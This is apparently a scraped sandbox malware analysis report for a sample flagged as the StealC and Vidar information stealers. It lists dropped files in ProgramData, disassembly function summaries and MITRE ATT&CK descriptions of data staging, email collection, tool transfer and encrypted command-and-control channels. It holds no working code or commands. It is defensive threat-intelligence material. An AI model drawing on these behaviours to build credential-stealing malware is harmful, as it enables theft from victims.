Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFBAKKFCBFHIIEBGIDBG

C:\ProgramData\BGDHDAFIDGDBGCAAFIDHIJKEHD

C:\ProgramData\CAFBGDHCBAEHIDGCGIDAKFIIEC

C:\ProgramData\GHCAAAAK

C:\ProgramData\GHJKEHJEGCFCAKFIIJJJ

C:\ProgramData\HJEBGHIEBFIJKECBKFHDHDAKKJ

C:\ProgramData\IECGIEBAEBFIIECBGCBG

C:\ProgramData\JEHIJDGIEBKKFHJKJKEGDBAAAE

C:\ProgramData\KKECFIEB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 006D9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006C45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 006CBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 006D4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 006D9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 006C7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 006D0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 006C5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre